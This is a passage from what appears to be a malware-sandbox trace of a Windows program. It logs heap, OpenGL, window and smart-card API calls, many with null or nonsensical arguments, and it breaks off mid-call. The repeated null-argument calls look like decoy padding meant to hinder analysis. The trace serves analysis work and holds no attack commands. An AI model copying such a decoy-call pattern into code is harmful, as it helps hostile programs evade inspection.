glDrawBuffer () returned 0x1 [0024.530] glReadBuffer () returned 0x1 [0024.530] wglGetProcAddress () returned 0x0 [0024.530] glClearColor () returned 0x5bcf80 [0024.530] glClearDepth () returned 0x5bcf98 [0024.530] glEnable () returned 0x5bcfa8 [0024.530] glDepthFunc () returned 0x5bcfb0 [0024.530] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x18) returned 0x22f1420 [0024.530] timeGetTime () returned 0x1141a0c [0024.531] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22f1440 [0024.531] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22f1450 [0024.531] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22f1460 [0024.531] GetLastError () returned 0x7f [0024.531] SetLastError (dwErrCode=0x7f) [0024.531] GetLastError () returned 0x7f [0024.531] SetLastError (dwErrCode=0x7f) [0024.531] GetLastError () returned 0x7f [0024.531] SetLastError (dwErrCode=0x7f) [0024.531] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22f1470 [0024.531] GetLastError () returned 0x7f [0024.531] SetLastError (dwErrCode=0x7f) [0024.531] GetLastError () returned 0x7f [0024.531] SetLastError (dwErrCode=0x7f) [0024.531] GetLastError () returned 0x7f [0024.531] SetLastError (dwErrCode=0x7f) [0024.531] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x18) returned 0x22f1488 [0024.531] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f1470 | out: hHeap=0x22f0000) returned 1 [0024.531] GetLastError () returned 0x7f [0024.531] SetLastError (dwErrCode=0x7f) [0024.531] GetLastError () returned 0x7f [0024.531] SetLastError (dwErrCode=0x7f) [0024.531] GetLastError () returned 0x7f [0024.531] SetLastError (dwErrCode=0x7f) [0024.531] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x24) returned 0x22f14a8 [0024.531] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f1488 | out: hHeap=0x22f0000) returned 1 [0024.531] GetLastError () returned 0x7f [0024.532] SetLastError (dwErrCode=0x7f) [0024.532] GetLastError () returned 0x7f [0024.532] SetLastError (dwErrCode=0x7f) [0024.532] GetLastError () returned 0x7f [0024.532] SetLastError (dwErrCode=0x7f) [0024.532] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x30) returned 0x22f1470 [0024.532] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f14a8 | out: hHeap=0x22f0000) returned 1 [0024.532] GetLastError () returned 0x7f [0024.532] SetLastError (dwErrCode=0x7f) [0024.532] GetLastError () returned 0x7f [0024.532] SetLastError (dwErrCode=0x7f) [0024.532] GetLastError () returned 0x7f [0024.532] SetLastError (dwErrCode=0x7f) [0024.532] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x48) returned 0x22f2b40 [0024.532] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f1470 | out: hHeap=0x22f0000) returned 1 [0024.532] GetLastError () returned 0x7f [0024.532] SetLastError (dwErrCode=0x7f) [0024.532] GetLastError () returned 0x7f [0024.532] SetLastError (dwErrCode=0x7f) [0024.532] GetLastError () returned 0x7f [0024.532] SetLastError (dwErrCode=0x7f) [0024.532] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22f1470 [0024.532] GetLastError () returned 0x7f [0024.532] SetLastError (dwErrCode=0x7f) [0024.532] GetLastError () returned 0x7f [0024.532] SetLastError (dwErrCode=0x7f) [0024.533] GetLastError () returned 0x7f [0024.533] SetLastError (dwErrCode=0x7f) [0024.533] GetLastError () returned 0x7f [0024.533] SetLastError (dwErrCode=0x7f) [0024.533] GetLastError () returned 0x7f [0024.533] SetLastError (dwErrCode=0x7f) [0024.533] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x48) returned 0x22f1480 [0024.533] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22f14d0 [0024.533] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f1470 | out: hHeap=0x22f0000) returned 1 [0024.533] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22f1470 [0024.534] GetLastError () returned 0x7f [0024.534] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x90) returned 0x22f2b90 [0024.534] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd850 [0024.534] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd860 [0024.534] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f14d0 | out: hHeap=0x22f0000) returned 1 [0024.534] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f1480 | out: hHeap=0x22f0000) returned 1 [0024.534] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f1470 | out: hHeap=0x22f0000) returned 1 [0024.534] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd870 [0024.534] GetLastError () returned 0x7f [0024.534] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xd8) returned 0x22fe038 [0024.534] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0024.534] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd890 [0024.534] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd8a0 [0024.534] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd860 | out: hHeap=0x22f0000) returned 1 [0024.534] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd850 | out: hHeap=0x22f0000) returned 1 [0024.534] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f2b90 | out: hHeap=0x22f0000) returned 1 [0024.534] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd870 | out: hHeap=0x22f0000) returned 1 [0024.534] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd870 [0024.534] GetLastError () returned 0x7f [0024.534] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x120) returned 0x22fe118 [0024.534] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd850 [0024.534] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd860 [0024.534] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd8b0 [0024.534] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd8c0 [0024.534] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0024.534] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0024.534] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0024.534] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe038 | out: hHeap=0x22f0000) returned 1 [0024.534] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd870 | out: hHeap=0x22f0000) returned 1 [0024.534] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd870 [0024.534] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x10) returned 0x22f1470 [0024.534] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd870 | out: hHeap=0x22f0000) returned 1 [0024.534] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x18) returned 0x22f1488 [0024.535] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f1470 | out: hHeap=0x22f0000) returned 1 [0024.535] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x20) returned 0x22f14a8 [0024.535] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f1488 | out: hHeap=0x22f0000) returned 1 [0024.535] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x20) returned 0x22f1470 [0024.535] PeekMessageA (in: lpMsg=0x18feb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18feb4) returned 1 [0024.535] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0024.535] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0024.535] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0024.535] GetMessageA (in: lpMsg=0x18feb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18feb4) returned 1 [0024.535] TranslateMessage (lpMsg=0x18feb4) returned 0 [0024.535] DispatchMessageA (lpMsg=0x18feb4) returned 0x0 [0024.535] PeekMessageA (in: lpMsg=0x18feb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18feb4) returned 1 [0024.535] GetMessageA (in: lpMsg=0x18feb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18feb4) returned 1 [0024.536] TranslateMessage (lpMsg=0x18feb4) returned 0 [0024.536] DispatchMessageA (lpMsg=0x18feb4) returned 0x0 [0024.536] GetUpdateRect (in: hWnd=0x301c2, lpRect=0x18fb30, bErase=0 | out: lpRect=0x18fb30) returned 1 [0024.536] BeginPaint (in: hWnd=0x301c2, lpPaint=0x18faf0 | out: lpPaint=0x18faf0) returned 0x38010877 [0024.536] EndPaint (hWnd=0x301c2, lpPaint=0x18faf0) returned 1 [0024.536] PeekMessageA (in: lpMsg=0x18feb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18feb4) returned 0 [0024.536] timeGetTime () returned 0x1141a12 [0024.536] GetWindowRect (in: hWnd=0x301c2, lpRect=0x18fe70 | out: lpRect=0x18fe70) returned 1 [0024.536] GetClientRect (in: hWnd=0x301c2, lpRect=0x18fe70 | out: lpRect=0x18fe70) returned 1 [0024.536] glViewport () returned 0x5bcfb8 [0024.536] wglGetCurrentDC () returned 0x38010877 [0024.536] WindowFromDC (hDC=0x38010877) returned 0x301c2 [0024.536] ShowWindow (hWnd=0x301c2, nCmdShow=0) returned 1 [0024.536] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x46, wParam=0x0, lParam=0x18fde0) returned 0x0 [0024.540] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x47, wParam=0x0, lParam=0x18fde0) returned 0x0 [0024.540] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0024.540] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0024.540] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0024.540] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0024.541] GetClassFileOrMime (pBC=0x0, szFilename=0x0, pBuffer=0x0, cbSize=0x0, szMime=0x0, dwReserved=0x0, pclsid=0x0) returned 0x80070057 [0024.541] GetParent (hWnd=0x0) returned 0x0 [0024.541] GetParent (hWnd=0x0) returned 0x0 [0024.541] GetParent (hWnd=0x0) returned 0x0 [0024.541] GetParent (hWnd=0x0) returned 0x0 [0024.541] GetParent (hWnd=0x0) returned 0x0 [0024.541] GetParent (hWnd=0x0) returned 0x0 [0024.541] GetParent (hWnd=0x0) returned 0x0 [0024.541] GetParent (hWnd=0x0) returned 0x0 [0024.541] GetParent (hWnd=0x0) returned 0x0 [0024.541] GetPerformanceInfo (pPerformanceInformation=0x18fa6c, cb=0x0) returned 0 [0024.541] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd870 [0024.541] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x18) returned 0x22fe038 [0024.541] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x18) returned 0x22fe058 [0024.541] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x18) returned 0x22fe078 [0024.541] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x18) returned 0x22fe258 [0024.541] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x18) returned 0x22fe278 [0024.541] GetConsoleWindow () returned 0x0 [0024.541] SetWindowPos (hWnd=0x0, hWndInsertAfter=0x0, X=5, Y=2, cx=10, cy=20, uFlags=0x40) returned 0 [0024.541] CombineRgn (hrgnDst=0x0, hrgnSrc1=0x0, hrgnSrc2=0x0, iMode=1) returned 0 [0024.541] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f68c, fWinIni=0x0 | out: pvParam=0x18f68c) returned 1 [0024.542] SendMessageA (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0024.542] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe058 | out: hHeap=0x22f0000) returned 1 [0024.542] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe258 | out: hHeap=0x22f0000) returned 1 [0024.542] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe078 | out: hHeap=0x22f0000) returned 1 [0024.542] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe278 | out: hHeap=0x22f0000) returned 1 [0024.542] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe038 | out: hHeap=0x22f0000) returned 1 [0024.542] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd870 | out: hHeap=0x22f0000) returned 1 [0024.542] GetLastError () returned 0x578 [0024.542] InitCommonControls () [0024.542] GetDlgItem (hDlg=0x18f60c, nIDDlgItem=236) returned 0x0 [0024.542] GetDlgItem (hDlg=0x18f60c, nIDDlgItem=0) returned 0x0 [0024.542] GetDlgItem (hDlg=0x18f60c, nIDDlgItem=-514) returned 0x0 [0024.542] GetDlgItem (hDlg=0x18f60c, nIDDlgItem=-6791920) returned 0x0 [0024.542] GetDlgItem (hDlg=0x18f60c, nIDDlgItem=236) returned 0x0 [0024.542] LoadIconA (hInstance=0x400000, lpIconName=0xec) returned 0x0 [0024.542] SCardForgetReaderA (hContext=0x0, szReaderName=0x0) returned -2146435055 [0024.633] LoadIconA (hInstance=0x400000, lpIconName=0x96) returned 0x0 [0024.633] LoadIconA (hInstance=0x400000, lpIconName=0x5d10) returned 0x0 [0024.633] LoadIconA (hInstance=0x400000, lpIconName=0xc) returned 0x0 [0024.633] SendMessageA (hWnd=0x0, Msg=0xf7, wParam=0x1, lParam=0x0) returned 0x0 [0024.633] SendMessageA (hWnd=0x0, Msg=0xf7, wParam=0x1, lParam=0x0) returned 0x0 [0024.633] SCardGetCardTypeProviderNameA (in: hContext=0x0, szCardName=0x0, dwProviderId=0x0, szProvider=0x0, pcchProvider=0x18f618 | out: szProvider=0x0, pcchProvider=0x18f618) returned -2146435068 [0024.633] SendMessageA (hWnd=0x0, Msg=0xf7, wParam=0x1, lParam=0x0) returned 0x0 [0024.633] SendMessageA (hWnd=0x0, Msg=0xf7, wParam=0x1, lParam=0x0) returned 0x0 [0024.634] ImageList_Create (cx=20, cy=16, flags=0x1, cInitial=2, cGrow=2) returned 0x5fa7d0 [0024.635] LoadIconA (hInstance=0x400000, lpIconName=0xfdfe) returned 0x0 [0024.635] LoadIconA (hInstance=0x400000, lpIconName=0x5d10) returned 0x0 [0024.637] ImageList_ReplaceIcon (himl=0x74630278, i=-1, hicon=0x0) returned -1 [0024.637] ImageList_ReplaceIcon (himl=0x74630278, i=-1, hicon=0x0) returned -1 [0024.637] SendMessageA (hWnd=0x0, Msg=0x1109, wParam=0x0, lParam=0x74630278) returned 0x0 [0024.637] DestroyCursor (hCursor=0x0) returned 0 [0024.637] DestroyCursor (hCursor=0x0) returned 0 [0024.637] DestroyCursor (hCursor=0x0) returned 0 [0024.637] DestroyCursor (hCursor=0x0) returned 0 [0024.637] DestroyCursor (hCursor=0x0) returned 0 [0024.637] DestroyCursor (hCursor=0x0) returned 0 [0024.637] SendMessageA (hWnd=0x0, Msg=0x110a, wParam=0x0, lParam=0x0) returned 0x0 [0024.637] SendMessageA (hWnd=0x0, Msg=0x110b, wParam=0x9, lParam=0x0) returned 0x0 [0024.637] IsWindow (hWnd=0x301c2) returned 1 [0024.637] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd870 [0024.637] GetDC (hWnd=0x0) returned 0x110107c9 [0024.637] CreateCompatibleDC (hdc=0x110107c9) returned 0x14010244 [0024.637] CreateDIBSection (in: hdc=0x0, lpbmi=0x18ed98, usage=0x0, ppvBits=0x18ed90, hSection=0x0, offset=0x0 | out: ppvBits=0x18ed90) returned 0x0 [0024.637] GetCurrentObject (hdc=0x14010244, type=0x7) returned 0x185000f [0024.637] SelectObject (hdc=0x14010244, h=0x0) returned 0x0 [0024.637] ReleaseDC (hWnd=0x0, hDC=0x110107c9) returned 1 [0024.637] GetClientRect (in: hWnd=0x0, lpRect=0x18ec30 | out: lpRect=0x18ec30) returned 0 [0024.637] SetScrollInfo (hwnd=0x0, nBar=0, lpsi=0x18ec14, redraw=1) returned 0 [0024.637] SetScrollInfo (hwnd=0x0, nBar=1, lpsi=0x18ec14, redraw=1) returned 0 [0024.637] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd870 | out: hHeap=0x22f0000) returned 1 [0024.637] PtInRect (lprc=0x18e874, pt=0x0) returned 0 [0024.637] VarDateFromI4 (in: lIn=0, pdateOut=0x18e888 | out: pdateOut=0x18e888) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.638] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.639] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.639] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.639] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.639] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.639] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.639] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.639] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.639] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.639] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.639] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.639] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.639] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.639] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.639] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.639] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.639] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.639] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.639] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.639] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.639] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.639] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.639] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0024.639] SetScrollPos (hWnd=0x0, nBar=1197974244, nPos=6268378, bRedraw=1) returned 0 [0024.639] VarDateFromR4 (in: fltIn=0x0, pdateOut=0x18e888 | out: pdateOut=0x18e888) returned 0x0 [0024.639] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd870 [0024.639] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x20) returned 0x22fe038 [0024.639] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x10) returned 0x22fe060 [0024.639] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x10) returned 0x22fe078 [0024.639] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe060 | out: hHeap=0x22f0000) returned 1 [0024.639] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe078 | out: hHeap=0x22f0000) returned 1 [0024.639] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe038 | out: hHeap=0x22f0000) returned 1 [0024.639] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd870 | out: hHeap=0x22f0000) returned 1 [0024.639] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd870 [0024.639] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x20) returned 0x22fe038 [0024.639] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x10) returned 0x22fe060 [0024.639] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="LSIDcomposite") returned 0x174 [0024.640] GetCursorPos (in: lpPoint=0x18e858 | out: lpPoint=0x18e858*(x=793, y=460)) returned 1 [0024.640] GetConsoleWindow () returned 0x0 [0024.640] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.640] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.640] DrawMenuBar (hWnd=0x0) returned 0 [0024.640] GetConsoleWindow () returned 0x0 [0024.640] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.640] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.640] DrawMenuBar (hWnd=0x0) returned 0 [0024.640] GetConsoleWindow () returned 0x0 [0024.640] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.640] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.640] DrawMenuBar (hWnd=0x0) returned 0 [0024.640] GetConsoleWindow () returned 0x0 [0024.640] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.640] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.640] DrawMenuBar (hWnd=0x0) returned 0 [0024.640] GetConsoleWindow () returned 0x0 [0024.640] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.640] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.640] DrawMenuBar (hWnd=0x0) returned 0 [0024.640] GetConsoleWindow () returned 0x0 [0024.640] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.640] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.640] DrawMenuBar (hWnd=0x0) returned 0 [0024.640] GetConsoleWindow () returned 0x0 [0024.640] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.640] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.640] DrawMenuBar (hWnd=0x0) returned 0 [0024.640] GetConsoleWindow () returned 0x0 [0024.640] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.640] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.640] DrawMenuBar (hWnd=0x0) returned 0 [0024.640] GetConsoleWindow () returned 0x0 [0024.640] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.641] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.641] DrawMenuBar (hWnd=0x0) returned 0 [0024.641] GetConsoleWindow () returned 0x0 [0024.641] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.641] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.641] DrawMenuBar (hWnd=0x0) returned 0 [0024.641] GetConsoleWindow () returned 0x0 [0024.641] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.641] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.641] DrawMenuBar (hWnd=0x0) returned 0 [0024.641] GetConsoleWindow () returned 0x0 [0024.641] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.641] EnableMenuItem (hMenu=0x0, 